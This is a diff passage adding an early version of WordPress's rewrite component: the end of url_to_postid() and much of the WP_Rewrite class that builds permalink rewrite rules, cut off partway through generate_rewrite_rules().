+	// This fixes things like #anchors, ?query=strings, missing 'www.',
+	// added 'www.', or added 'index.php/' that will mess up our WP_Query
+	// and return a false negative
+
+	// Get rid of the #anchor
+	$url_split = explode('#', $url);
+	$url = $url_split[0];
+
+	// Get rid of URL ?query=string
+	$url_split = explode('?', $url);
+	$url = $url_split[0];
+
+	// Add 'www.' if it is absent and should be there
+	if ( false !== strpos(get_option('home'), '://www.') && false === strpos($url, '://www.') )
+		$url = str_replace('://', '://www.', $url);
+
+	// Strip 'www.' if it is present and shouldn't be
+	if ( false === strpos(get_option('home'), '://www.') )
+		$url = str_replace('://www.', '://', $url);
+
+	// Strip 'index.php/' if we're not using path info permalinks
+	if ( !$wp_rewrite->using_index_permalinks() )
+		$url = str_replace('index.php/', '', $url);
+
+	if ( false !== strpos($url, get_option('home')) ) {
+		// Chop off http://domain.com
+		$url = str_replace(get_option('home'), '', $url);
+	} else {
+		// Chop off /path/to/blog
+		$home_path = parse_url(get_option('home'));
+		$home_path = $home_path['path'];
+		$url = str_replace($home_path, '', $url);
+	}
+
+	// Trim leading and lagging slashes
+	$url = trim($url, '/');
+
+	$request = $url;
+
+	// Done with cleanup
+
+	// Look for matches.
+	$request_match = $request;
+	foreach ($rewrite as $match => $query) {
+		// If the requesting file is the anchor of the match, prepend it
+		// to the path info.
+		if ( (! empty($url)) && (strpos($match, $url) === 0) && ($url != $request)) {
+			$request_match = $url . '/' . $request;
+		}
+
+		if ( preg_match("!^$match!", $request_match, $matches) ) {
+			// Got a match.
+			// Trim the query of everything up to the '?'.
+			$query = preg_replace("!^.+\?!", '', $query);
+
+			// Substitute the substring matches into the query.
+			eval("\$query = \"" . addslashes($query) . "\";");
+			// Filter out non-public query vars
+			global $wp;
+			parse_str($query, $query_vars);
+			$query = array();
+			foreach ( (array) $query_vars as $key => $value ) {
+				if ( in_array($key, $wp->public_query_vars) )
+					$query[$key] = $value;
+			}
+			// Do the query
+			$query = new WP_Query($query);
+			if ( $query->is_single || $query->is_page )
+				return $query->post->ID;
+			else
+				return 0;
+		}
+	}
+	return 0;
+}
+
+/**
+ * WordPress Rewrite Component.
+ *
+ * The WordPress Rewrite class writes the rewrite module rules to the .htaccess
+ * file. It also handles parsing the request to get the correct setup for the
+ * WordPress Query class.
+ *
+ * The Rewrite along with WP class function as a front controller for WordPress.
+ * You can add rules to trigger your page view and processing using this
+ * component. The full functionality of a front controller does not exist,
+ * meaning you can't define how the template files load based on the rewrite
+ * rules.
+ *
+ * @since 1.5.0
+ */
+class WP_Rewrite {
+	/**
+	 * Default permalink structure for WordPress.
+	 *
+	 * @since 1.5.0
+	 * @access private
+	 * @var string
+	 */
+	var $permalink_structure;
+
+	/**
+	 * Whether to add trailing slashes.
+	 *
+	 * @since 2.2.0
+	 * @access private
+	 * @var bool
+	 */
+	var $use_trailing_slashes;
+
+	/**
+	 * Customized or default category permalink base ( example.com/xx/tagname ).
+	 *
+	 * @since 1.5.0
+	 * @access private
+	 * @var string
+	 */
+	var $category_base;
+
+	/**
+	 * Customized or default tag permalink base ( example.com/xx/tagname ).
+	 *
+	 * @since 2.3.0
+	 * @access private
+	 * @var string
+	 */
+	var $tag_base;
+
+	/**
+	 * Permalink request structure for categories.
+	 *
+	 * @since 1.5.0
+	 * @access private
+	 * @var string
+	 */
+	var $category_structure;
+
+	/**
+	 * Permalink request structure for tags.
+	 *
+	 * @since 2.3.0
+	 * @access private
+	 * @var string
+	 */
+	var $tag_structure;
+
+	/**
+	 * Permalink author request base ( example.com/author/authorname ).
+	 *
+	 * @since 1.5.0
+	 * @access private
+	 * @var string
+	 */
+	var $author_base = 'author';
+
+	/**
+	 * Permalink request structure for author pages.
+	 *
+	 * @since 1.5.0
+	 * @access private
+	 * @var string
+	 */
+	var $author_structure;
+
+	/**
+	 * Permalink request structure for dates.
+	 *
+	 * @since 1.5.0
+	 * @access private
+	 * @var string
+	 */
+	var $date_structure;
+
+	/**
+	 * Permalink request structure for pages.
+	 *
+	 * @since 1.5.0
+	 * @access private
+	 * @var string
+	 */
+	var $page_structure;
+
+	/**
+	 * Search permalink base ( example.com/search/query ).
+	 *
+	 * @since 1.5.0
+	 * @access private
+	 * @var string
+	 */
+	var $search_base = 'search';
+
+	/**
+	 * Permalink request structure for searches.
+	 *
+	 * @since 1.5.0
+	 * @access private
+	 * @var string
+	 */
+	var $search_structure;
+
+	/**
+	 * Comments permalink base.
+	 *
+	 * @since 1.5.0
+	 * @access private
+	 * @var string
+	 */
+	var $comments_base = 'comments';
+
+	/**
+	 * Feed permalink base.
+	 *
+	 * @since 1.5.0
+	 * @access private
+	 * @var string
+	 */
+	var $feed_base = 'feed';
+
+	/**
+	 * Comments feed request structure permalink.
+	 *
+	 * @since 1.5.0
+	 * @access private
+	 * @var string
+	 */
+	var $comments_feed_structure;
+
+	/**
+	 * Feed request structure permalink.
+	 *
+	 * @since 1.5.0
+	 * @access private
+	 * @var string
+	 */
+	var $feed_structure;
+
+	/**
+	 * Front URL path.
+	 *
+	 * The difference between the root property is that WordPress might be
+	 * located at example/WordPress/index.php, if permalinks are turned off. The
+	 * WordPress/index.php will be the front portion. If permalinks are turned
+	 * on, this will most likely be empty or not set.
+	 *
+	 * @since 1.5.0
+	 * @access private
+	 * @var string
+	 */
+	var $front;
+
+	/**
+	 * Root URL path to WordPress (without domain).
+	 *
+	 * The difference between front property is that WordPress might be located
+	 * at example.com/WordPress/. The root is the 'WordPress/' portion.
+	 *
+	 * @since 1.5.0
+	 * @access private
+	 * @var string
+	 */
+	var $root = '';
+
+	/**
+	 * Permalink to the home page.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var string
+	 */
+	var $index = 'index.php';
+
+	/**
+	 * Request match string.
+	 *
+	 * @since 1.5.0
+	 * @access private
+	 * @var string
+	 */
+	var $matches = '';
+
+	/**
+	 * Rewrite rules to match against the request to find the redirect or query.
+	 *
+	 * @since 1.5.0
+	 * @access private
+	 * @var array
+	 */
+	var $rules;
+
+	/**
+	 * Additional rules added external to the rewrite class.
+	 *
+	 * Those not generated by the class, see add_rewrite_rule().
+	 *
+	 * @since 2.1.0
+	 * @access private
+	 * @var array
+	 */
+	var $extra_rules = array(); //
+
+	/**
+	 * Additional rules that belong at the beginning to match first.
+	 *
+	 * Those not generated by the class, see add_rewrite_rule().
+	 *
+	 * @since 2.3.0
+	 * @access private
+	 * @var array
+	 */
+	var $extra_rules_top = array(); //
+
+	/**
+	 * Rules that don't redirect to WP's index.php.
+	 *
+	 * These rules are written to the mod_rewrite portion of the .htaccess.
+	 *
+	 * @since 2.1.0
+	 * @access private
+	 * @var array
+	 */
+	var $non_wp_rules = array(); //
+
+	/**
+	 * Extra permalink structures.
+	 *
+	 * @since 2.1.0
+	 * @access private
+	 * @var array
+	 */
+	var $extra_permastructs = array();
+
+	/**
+	 * Endpoints permalinks
+	 *
+	 * @since unknown
+	 * @access private
+	 * @var array
+	 */
+	var $endpoints;
+
+	/**
+	 * Whether to write every mod_rewrite rule for WordPress.
+	 *
+	 * This is off by default, turning it on might print a lot of rewrite rules
+	 * to the .htaccess file.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 * @var bool
+	 */
+	var $use_verbose_rules = false;
+
+	/**
+	 * Whether to write every mod_rewrite rule for WordPress pages.
+	 *
+	 * @since 2.5.0
+	 * @access public
+	 * @var bool
+	 */
+	var $use_verbose_page_rules = true;
+
+	/**
+	 * Permalink structure search for preg_replace.
+	 *
+	 * @since 1.5.0
+	 * @access private
+	 * @var array
+	 */
+	var $rewritecode =
+		array(
+					'%year%',
+					'%monthnum%',
+					'%day%',
+					'%hour%',
+					'%minute%',
+					'%second%',
+					'%postname%',
+					'%post_id%',
+					'%category%',
+					'%tag%',
+					'%author%',
+					'%pagename%',
+					'%search%'
+					);
+
+	/**
+	 * Preg_replace values for the search, see {@link WP_Rewrite::$rewritecode}.
+	 *
+	 * @since 1.5.0
+	 * @access private
+	 * @var array
+	 */
+	var $rewritereplace =
+		array(
+					'([0-9]{4})',
+					'([0-9]{1,2})',
+					'([0-9]{1,2})',
+					'([0-9]{1,2})',
+					'([0-9]{1,2})',
+					'([0-9]{1,2})',
+					'([^/]+)',
+					'([0-9]+)',
+					'(.+?)',
+					'(.+?)',
+					'([^/]+)',
+					'([^/]+?)',
+					'(.+)'
+					);
+
+	/**
+	 * Search for the query to look for replacing.
+	 *
+	 * @since 1.5.0
+	 * @access private
+	 * @var array
+	 */
+	var $queryreplace =
+		array (
+					'year=',
+					'monthnum=',
+					'day=',
+					'hour=',
+					'minute=',
+					'second=',
+					'name=',
+					'p=',
+					'category_name=',
+					'tag=',
+					'author_name=',
+					'pagename=',
+					's='
+					);
+
+	/**
+	 * Supported default feeds.
+	 *
+	 * @since 1.5.0
+	 * @access private
+	 * @var array
+	 */
+	var $feeds = array ( 'feed', 'rdf', 'rss', 'rss2', 'atom' );
+
+	/**
+	 * Whether permalinks are being used.
+	 *
+	 * This can be either rewrite module or permalink in the HTTP query string.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @return bool True, if permalinks are enabled.
+	 */
+	function using_permalinks() {
+		if (empty($this->permalink_structure))
+			return false;
+		else
+			return true;
+	}
+
+	/**
+	 * Whether permalinks are being used and rewrite module is not enabled.
+	 *
+	 * Means that permalink links are enabled and index.php is in the URL.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @return bool
+	 */
+	function using_index_permalinks() {
+		if (empty($this->permalink_structure)) {
+			return false;
+		}
+
+		// If the index is not in the permalink, we're using mod_rewrite.
+		if (preg_match('#^/*' . $this->index . '#', $this->permalink_structure)) {
+			return true;
+		}
+
+		return false;
+	}
+
+	/**
+	 * Whether permalinks are being used and rewrite module is enabled.
+	 *
+	 * Using permalinks and index.php is not in the URL.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @return bool
+	 */
+	function using_mod_rewrite_permalinks() {
+		if ( $this->using_permalinks() && ! $this->using_index_permalinks())
+			return true;
+		else
+			return false;
+	}
+
+	/**
+	 * Index for matches for usage in preg_*() functions.
+	 *
+	 * The format of the string is, with empty matches property value, '$NUM'.
+	 * The 'NUM' will be replaced with the value in the $number parameter. With
+	 * the matches property not empty, the value of the returned string will
+	 * contain that value of the matches property. The format then will be
+	 * '$MATCHES[NUM]', with MATCHES as the value in the property and NUM the
+	 * value of the $number parameter.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @param int $number Index number.
+	 * @return string
+	 */
+	function preg_index($number) {
+		$match_prefix = '$';
+		$match_suffix = '';
+
+		if ( ! empty($this->matches) ) {
+			$match_prefix = '$' . $this->matches . '[';
+			$match_suffix = ']';
+		}
+
+		return "$match_prefix$number$match_suffix";
+	}
+
+	/**
+	 * Retrieve all page and attachments for pages URIs.
+	 *
+	 * The attachments are for those that have pages as parents and will be
+	 * retrieved.
+	 *
+	 * @since 2.5.0
+	 * @access public
+	 *
+	 * @return array Array of page URIs as first element and attachment URIs as second element.
+	 */
+	function page_uri_index() {
+		global $wpdb;
+
+		//get pages in order of hierarchy, i.e. children after parents
+		$posts = get_page_hierarchy($wpdb->get_results("SELECT ID, post_name, post_parent FROM $wpdb->posts WHERE post_type = 'page'"));
+		//now reverse it, because we need parents after children for rewrite rules to work properly
+		$posts = array_reverse($posts, true);
+
+		$page_uris = array();
+		$page_attachment_uris = array();
+
+		if ( !$posts )
+			return array( array(), array() );
+
+		foreach ($posts as $id => $post) {
+			// URL => page name
+			$uri = get_page_uri($id);
+			$attachments = $wpdb->get_results( $wpdb->prepare( "SELECT ID, post_name, post_parent FROM $wpdb->posts WHERE post_type = 'attachment' AND post_parent = %d", $id ));
+			if ( $attachments ) {
+				foreach ( $attachments as $attachment ) {
+					$attach_uri = get_page_uri($attachment->ID);
+					$page_attachment_uris[$attach_uri] = $attachment->ID;
+				}
+			}
+
+			$page_uris[$uri] = $id;
+		}
+
+		return array( $page_uris, $page_attachment_uris );
+	}
+
+	/**
+	 * Retrieve all of the rewrite rules for pages.
+	 *
+	 * If the 'use_verbose_page_rules' property is false, then there will only
+	 * be a single rewrite rule for pages for those matching '%pagename%'. With
+	 * the property set to true, the attachments and the pages will be added for
+	 * each individual attachment URI and page URI, respectively.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @return array
+	 */
+	function page_rewrite_rules() {
+		$rewrite_rules = array();
+		$page_structure = $this->get_page_permastruct();
+
+		if ( ! $this->use_verbose_page_rules ) {
+			$this->add_rewrite_tag('%pagename%', "(.+?)", 'pagename=');
+			$rewrite_rules = array_merge($rewrite_rules, $this->generate_rewrite_rules($page_structure, EP_PAGES));
+			return $rewrite_rules;
+		}
+
+		$page_uris = $this->page_uri_index();
+		$uris = $page_uris[0];
+		$attachment_uris = $page_uris[1];
+
+		if( is_array( $attachment_uris ) ) {
+			foreach ($attachment_uris as $uri => $pagename) {
+				$this->add_rewrite_tag('%pagename%', "($uri)", 'attachment=');
+				$rewrite_rules = array_merge($rewrite_rules, $this->generate_rewrite_rules($page_structure, EP_PAGES));
+			}
+		}
+		if( is_array( $uris ) ) {
+			foreach ($uris as $uri => $pagename) {
+				$this->add_rewrite_tag('%pagename%', "($uri)", 'pagename=');
+				$rewrite_rules = array_merge($rewrite_rules, $this->generate_rewrite_rules($page_structure, EP_PAGES));
+			}
+		}
+
+		return $rewrite_rules;
+	}
+
+	/**
+	 * Retrieve date permalink structure, with year, month, and day.
+	 *
+	 * The permalink structure for the date, if not set already depends on the
+	 * permalink structure. It can be one of three formats. The first is year,
+	 * month, day; the second is day, month, year; and the last format is month,
+	 * day, year. These are matched against the permalink structure for which
+	 * one is used. If none matches, then the default will be used, which is
+	 * year, month, day.
+	 *
+	 * Prevents post ID and date permalinks from overlapping. In the case of
+	 * post_id, the date permalink will be prepended with front permalink with
+	 * 'date/' before the actual permalink to form the complete date permalink
+	 * structure.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @return bool|string False on no permalink structure. Date permalink structure.
+	 */
+	function get_date_permastruct() {
+		if (isset($this->date_structure)) {
+			return $this->date_structure;
+		}
+
+		if (empty($this->permalink_structure)) {
+			$this->date_structure = '';
+			return false;
+		}
+
+		// The date permalink must have year, month, and day separated by slashes.
+		$endians = array('%year%/%monthnum%/%day%', '%day%/%monthnum%/%year%', '%monthnum%/%day%/%year%');
+
+		$this->date_structure = '';
+		$date_endian = '';
+
+		foreach ($endians as $endian) {
+			if (false !== strpos($this->permalink_structure, $endian)) {
+				$date_endian= $endian;
+				break;
+			}
+		}
+
+		if ( empty($date_endian) )
+			$date_endian = '%year%/%monthnum%/%day%';
+
+		// Do not allow the date tags and %post_id% to overlap in the permalink
+		// structure. If they do, move the date tags to $front/date/.
+		$front = $this->front;
+		preg_match_all('/%.+?%/', $this->permalink_structure, $tokens);
+		$tok_index = 1;
+		foreach ( (array) $tokens[0] as $token) {
+			if ( ($token == '%post_id%') && ($tok_index <= 3) ) {
+				$front = $front . 'date/';
+				break;
+			}
+			$tok_index++;
+		}
+
+		$this->date_structure = $front . $date_endian;
+
+		return $this->date_structure;
+	}
+
+	/**
+	 * Retrieve the year permalink structure without month and day.
+	 *
+	 * Gets the date permalink structure and strips out the month and day
+	 * permalink structures.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @return bool|string False on failure. Year structure on success.
+	 */
+	function get_year_permastruct() {
+		$structure = $this->get_date_permastruct($this->permalink_structure);
+
+		if (empty($structure)) {
+			return false;
+		}
+
+		$structure = str_replace('%monthnum%', '', $structure);
+		$structure = str_replace('%day%', '', $structure);
+
+		$structure = preg_replace('#/+#', '/', $structure);
+
+		return $structure;
+	}
+
+	/**
+	 * Retrieve the month permalink structure without day and with year.
+	 *
+	 * Gets the date permalink structure and strips out the day permalink
+	 * structures. Keeps the year permalink structure.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @return bool|string False on failure. Year/Month structure on success.
+	 */
+	function get_month_permastruct() {
+		$structure = $this->get_date_permastruct($this->permalink_structure);
+
+		if (empty($structure)) {
+			return false;
+		}
+
+		$structure = str_replace('%day%', '', $structure);
+
+		$structure = preg_replace('#/+#', '/', $structure);
+
+		return $structure;
+	}
+
+	/**
+	 * Retrieve the day permalink structure with month and year.
+	 *
+	 * Keeps date permalink structure with all year, month, and day.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @return bool|string False on failure. Year/Month/Day structure on success.
+	 */
+	function get_day_permastruct() {
+		return $this->get_date_permastruct($this->permalink_structure);
+	}
+
+	/**
+	 * Retrieve the permalink structure for categories.
+	 *
+	 * If the category_base property has no value, then the category structure
+	 * will have the front property value, followed by 'category', and finally
+	 * '%category%'. If it does, then the root property will be used, along with
+	 * the category_base property value.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @return bool|string False on failure. Category permalink structure.
+	 */
+	function get_category_permastruct() {
+		if (isset($this->category_structure)) {
+			return $this->category_structure;
+		}
+
+		if (empty($this->permalink_structure)) {
+			$this->category_structure = '';
+			return false;
+		}
+
+		if (empty($this->category_base))
+			$this->category_structure = trailingslashit( $this->front . 'category' );
+		else
+			$this->category_structure = trailingslashit( '/' . $this->root . $this->category_base );
+
+		$this->category_structure .= '%category%';
+
+		return $this->category_structure;
+	}
+
+	/**
+	 * Retrieve the permalink structure for tags.
+	 *
+	 * If the tag_base property has no value, then the tag structure will have
+	 * the front property value, followed by 'tag', and finally '%tag%'. If it
+	 * does, then the root property will be used, along with the tag_base
+	 * property value.
+	 *
+	 * @since 2.3.0
+	 * @access public
+	 *
+	 * @return bool|string False on failure. Tag permalink structure.
+	 */
+	function get_tag_permastruct() {
+		if (isset($this->tag_structure)) {
+			return $this->tag_structure;
+		}
+
+		if (empty($this->permalink_structure)) {
+			$this->tag_structure = '';
+			return false;
+		}
+
+		if (empty($this->tag_base))
+			$this->tag_structure = trailingslashit( $this->front . 'tag' );
+		else
+			$this->tag_structure = trailingslashit( '/' . $this->root . $this->tag_base );
+
+		$this->tag_structure .= '%tag%';
+
+		return $this->tag_structure;
+	}
+
+	/**
+	 * Retrieve extra permalink structure by name.
+	 *
+	 * @since unknown
+	 * @access public
+	 *
+	 * @param string $name Permalink structure name.
+	 * @return string|bool False if not found. Permalink structure string.
+	 */
+	function get_extra_permastruct($name) {
+		if ( isset($this->extra_permastructs[$name]) )
+			return $this->extra_permastructs[$name];
+		return false;
+	}
+
+	/**
+	 * Retrieve the author permalink structure.
+	 *
+	 * The permalink structure is front property, author base, and finally
+	 * '/%author%'. Will set the author_structure property and then return it
+	 * without attempting to set the value again.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @return string|bool False if not found. Permalink structure string.
+	 */
+	function get_author_permastruct() {
+		if (isset($this->author_structure)) {
+			return $this->author_structure;
+		}
+
+		if (empty($this->permalink_structure)) {
+			$this->author_structure = '';
+			return false;
+		}
+
+		$this->author_structure = $this->front . $this->author_base . '/%author%';
+
+		return $this->author_structure;
+	}
+
+	/**
+	 * Retrieve the search permalink structure.
+	 *
+	 * The permalink structure is root property, search base, and finally
+	 * '/%search%'. Will set the search_structure property and then return it
+	 * without attempting to set the value again.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @return string|bool False if not found. Permalink structure string.
+	 */
+	function get_search_permastruct() {
+		if (isset($this->search_structure)) {
+			return $this->search_structure;
+		}
+
+		if (empty($this->permalink_structure)) {
+			$this->search_structure = '';
+			return false;
+		}
+
+		$this->search_structure = $this->root . $this->search_base . '/%search%';
+
+		return $this->search_structure;
+	}
+
+	/**
+	 * Retrieve the page permalink structure.
+	 *
+	 * The permalink structure is root property, and '%pagename%'. Will set the
+	 * page_structure property and then return it without attempting to set the
+	 * value again.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @return string|bool False if not found. Permalink structure string.
+	 */
+	function get_page_permastruct() {
+		if (isset($this->page_structure)) {
+			return $this->page_structure;
+		}
+
+		if (empty($this->permalink_structure)) {
+			$this->page_structure = '';
+			return false;
+		}
+
+		$this->page_structure = $this->root . '%pagename%';
+
+		return $this->page_structure;
+	}
+
+	/**
+	 * Retrieve the feed permalink structure.
+	 *
+	 * The permalink structure is root property, feed base, and finally
+	 * '/%feed%'. Will set the feed_structure property and then return it
+	 * without attempting to set the value again.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @return string|bool False if not found. Permalink structure string.
+	 */
+	function get_feed_permastruct() {
+		if (isset($this->feed_structure)) {
+			return $this->feed_structure;
+		}
+
+		if (empty($this->permalink_structure)) {
+			$this->feed_structure = '';
+			return false;
+		}
+
+		$this->feed_structure = $this->root . $this->feed_base . '/%feed%';
+
+		return $this->feed_structure;
+	}
+
+	/**
+	 * Retrieve the comment feed permalink structure.
+	 *
+	 * The permalink structure is root property, comment base property, feed
+	 * base and finally '/%feed%'. Will set the comment_feed_structure property
+	 * and then return it without attempting to set the value again.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @return string|bool False if not found. Permalink structure string.
+	 */
+	function get_comment_feed_permastruct() {
+		if (isset($this->comment_feed_structure)) {
+			return $this->comment_feed_structure;
+		}
+
+		if (empty($this->permalink_structure)) {
+			$this->comment_feed_structure = '';
+			return false;
+		}
+
+		$this->comment_feed_structure = $this->root . $this->comments_base . '/' . $this->feed_base . '/%feed%';
+
+		return $this->comment_feed_structure;
+	}
+
+	/**
+	 * Append or update tag, pattern, and query for replacement.
+	 *
+	 * If the tag already exists, replace the existing pattern and query for
+	 * that tag, otherwise add the new tag, pattern, and query to the end of the
+	 * arrays.
+	 *
+	 * @internal What is the purpose of this function again? Need to finish long
+	 *           description.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @param string $tag Append tag to rewritecode property array.
+	 * @param string $pattern Append pattern to rewritereplace property array.
+	 * @param string $query Append query to queryreplace property array.
+	 */
+	function add_rewrite_tag($tag, $pattern, $query) {
+		$position = array_search($tag, $this->rewritecode);
+		if ( false !== $position && null !== $position ) {
+			$this->rewritereplace[$position] = $pattern;
+			$this->queryreplace[$position] = $query;
+		} else {
+			$this->rewritecode[] = $tag;
+			$this->rewritereplace[] = $pattern;
+			$this->queryreplace[] = $query;
+		}
+	}
+
+	/**
+	 * Generate the rules from permalink structure.
+	 *
+	 * The main WP_Rewrite function for building the rewrite rule list. The
+	 * contents of the function is a mix of black magic and regular expressions,
+	 * so best just ignore the contents and move to the parameters.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @param string $permalink_structure The permalink structure.
+	 * @param int $ep_mask Optional, default is EP_NONE. Endpoint constant, see EP_* constants.
+	 * @param bool $paged Optional, default is true. Whether permalink request is paged.
+	 * @param bool $feed Optional, default is true. Whether for feed.
+	 * @param bool $forcomments Optional, default is false. Whether for comments.
+	 * @param bool $walk_dirs Optional, default is true. Whether to create list of directories to walk over.
+	 * @param bool $endpoints Optional, default is true. Whether endpoints are enabled.
+	 * @return array Rewrite rule list.
+	 */
+	function generate_rewrite_rules($permalink_structure, $ep_mask = EP_NONE, $paged = true, $feed = true, $forcomments = false, $walk_dirs = true, $endpoints = true) {
+		//build a regex to match the feed section of URLs, something like (feed|atom|rss|rss2)/?
+		$feedregex2 = '';
+		foreach ( (array) $this->feeds as $feed_name) {
+			$feedregex2 .= $feed_name . '|';
+		}
+		$feedregex2 = '(' . trim($feedregex2, '|') .  ')/?$';
+		//$feedregex is identical but with /feed/ added on as well, so URLs like <permalink>/feed/atom
+		//and <permalink>/atom are both possible
+		$feedregex = $this->feed_base  . '/' . $feedregex2;
+
+		//build a regex to match the trackback and page/xx parts of URLs
+		$trackbackregex = 'trackback/?$';
+		$pageregex = 'page/?([0-9]{1,})/?$';
+		$commentregex = 'comment-page-([0-9]{1,})/?$';
+
+		//build up an array of endpoint regexes to append => queries to append
+		if ($endpoints) {
+			$ep_query_append = array ();
+			foreach ( (array) $this->endpoints as $endpoint) {
+				//match everything after the endpoint name, but allow for nothing to appear there
+				$epmatch = $endpoint[1] . '(/(.*))?/?$';
+				//this will be appended on to the rest of the query for each dir
+				$epquery = '&' . $endpoint[1] . '=';
+				$ep_query_append[$epmatch] = array ( $endpoint[0], $epquery );
+			}
+		}
+
+		//get everything up to the first rewrite tag
+		$front = substr($permalink_structure, 0, strpos($permalink_structure, '%'));
+		//build an array of the tags (note that said array ends up being in $tokens[0])
+		preg_match_all('/%.+?%/', $permalink_structure, $tokens);
+
+		$num_tokens = count($tokens[0]);
+
+		$index = $this->index; //probably 'index.php'
+		$feedindex = $index;
+		$trackbackindex = $index;
+		//build a list from the rewritecode and queryreplace arrays, that will look something like
+		//tagname=$matches[i] where i is the current $i
+		for ($i = 0; $i < $num_tokens; ++$i) {
+			if (0 < $i) {
+				$queries[$i] = $queries[$i - 1] . '&';
+			} else {
+				$queries[$i] = '';
+			}
+
+			$query_token = str_replace($this->rewritecode, $this->queryreplace, $tokens[0][$i]) . $this->preg_index($i+1);
+			$queries[$i] .= $query_token;
+		}
+
+		//get the structure, minus any cruft (stuff that isn't tags) at the front
+		$structure = $permalink_structure;
+		if ($front != '/') {
+			$structure = str_replace($front, '', $structure);
+		}
+		//create a list of dirs to walk over, making rewrite rules for each level
+		//so for example, a $structure of /%year%/%month%/%postname% would create
+		//rewrite rules for /%year%/, /%year%/%month%/ and /%year%/%month%/%postname%
+		$structure = trim($structure, '/');
+		if ($walk_dirs) {
+			$dirs = explode('/', $structure);
+		} else {
+			$dirs[] = $structure;
+		}
+		$num_dirs = count($dirs);
+
+		//strip slashes from the front of $front
+		$front = preg_replace('|^/+|', '', $front);
+
+		//the main workhorse loop
+		$post_rewrite = array();
+		$struct = $front;
+		for ($j = 0; $j < $num_dirs; ++$j) {
+			//get the struct for this dir, and trim slashes off the front
+			$struct .= $dirs[$j] . '/'; //accumulate. see comment near explode('/', $structure) above
+			$struct = ltrim($struct, '/');
+			//replace tags with regexes
+			$match = str_replace($this->rewritecode, $this->rewritereplace, $struct);
+			//make a list of tags, and store how many there are in $num_toks
+			$num_toks = preg_match_all('/%.+?%/', $struct, $toks);
+			//get the 'tagname=$matches[i]'
+			$query = ( isset($queries) && is_array($queries) ) ? $queries[$num_toks - 1] : '';
+
+			//set up $ep_mask_specific which is used to match more specific URL types
+			switch ($dirs[$j]) {
+				case '%year%': $ep_mask_specific = EP_YEAR; break;
+				case '%monthnum%': $ep_mask_specific = EP_MONTH; break;
+				case '%day%': $ep_mask_specific = EP_DAY; break;
+			}
+
+			//create query for /page/xx
+			$pagematch = $match . $pageregex;
+			$pagequery = $index . '?' . $query . '&paged=' . $this->preg_index($num_toks + 1);
+
+			//create query for /comment-page-xx
+			$commentmatch = $match . $commentregex;
+			$commentquery = $index . '?' . $query . '&cpage=' . $this->preg_index($num_toks + 1);
+
+			if ( get_option('page_on_front') ) {
+				//create query for Root /comment-page-xx
+				$rootcommentmatch = $match . $commentregex;
+				$rootcommentquery = $index . '?' . $query . '&page_id=' . get_option('page_on_front') . '&cpage=' . $this->preg_index($num_toks + 1);
+			}
+
+			//create query for /feed/(feed|atom|rss|rss2|rdf)
+			$feedmatch = $match . $feedregex;
+			$feedquery = $feedindex . '?' . $query . '&feed=' . $this->preg_index($num_toks + 1);
+
+			//create query for /(feed|atom|rss|rss2|rdf) (see comment near creation of $feedregex)
+			$feedmatch2 = $match . $feedregex2;
+			$feedquery2 = $feedindex . '?' . $query . '&feed=' . $this->preg_index($num_toks + 1);
+
+			//if asked to, turn the feed queries into comment feed ones
+			if ($forcomments) {
+				$feedquery .= '&withcomments=1';
+				$feedquery2 .= '&withcomments=1';
+			}
+
+			//start creating the array of rewrites for this dir
+			$rewrite = array();
+			if ($feed) //...adding on /feed/ regexes => queries
+				$rewrite = array($feedmatch => $feedquery, $feedmatch2 => $feedquery2);
+			if ($paged) //...and /page/xx ones
+				$rewrite = array_merge($rewrite, array($pagematch => $pagequery));
+
+			//only on pages with comments add ../comment-page-xx/
+			if ( EP_PAGES & $ep_mask || EP_PERMALINK & $ep_mask || EP_NONE & $ep_mask )
+				$rewrite = array_merge($rewrite, array($commentmatch => $commentquery));
+			else if ( EP_ROOT & $ep_mask && get_option('page_on_front') )
+				$rewrite = array_merge($rewrite, array($rootcommentmatch => $rootcommentquery));
+
+			//do endpoints
+			if ($endpoints) {
+				foreach ( (array) $ep_query_append as $regex => $ep) {
+					//add the endpoints on if the mask fits
+					if ($ep[0] & $ep_mask || $ep[0] & $ep_mask_specific) {
+						$rewrite[$match . $regex] = $index . '?' . $query . $ep[1] . $this->preg_index($num_toks + 2);
+					}
+				}
+			}
+
+			//if we've got some tags in this dir
+			if ($num_toks) {
+				$post = false;
+				$page = false;
+
+				//check to see if this dir is permalink-level: i.e. the structure specifies an
+				//individual post. Do this by checking it contains at least one of 1) post name,
+				//2) post ID, 3) page name, 4) timestamp (year, month, day, hour, second and
+				//minute all present). Set these flags now as we need them for the endpoints.
+				if (strpos($struct, '%postname%') !== false || strpos($struct, '%post_id%') !== false
+						|| strpos($struct, '%pagename%') !== false
+						|| (strpos($struct, '%year%') !== false && strpos($struct, '%monthnum%') !== false && strpos($struct, '%day%') !== false && strpos($struct, '%hour%') !== false && strpos($struct, '%minute%') !== false && strpos($struct, '%second%') !== false)) {
+					$post = true;
+					if (strpos($struct, '%pagename%') !== false)
+						$page = true;
+				}
+
+				//if we're creating rules for a permalink, do all the endpoints like attachments etc
+				if ($post) {
+					$post = true;
+					//create query and regex for trackback
+					$trackbackmatch = $match . $trackbackregex;
+					$trackbackquery = $trackbackindex . '?' . $query . '&tb=1';
+					//trim slashes from the end of the regex for this dir
+					$match = rtrim($match, '/');
+					//get rid of brackets
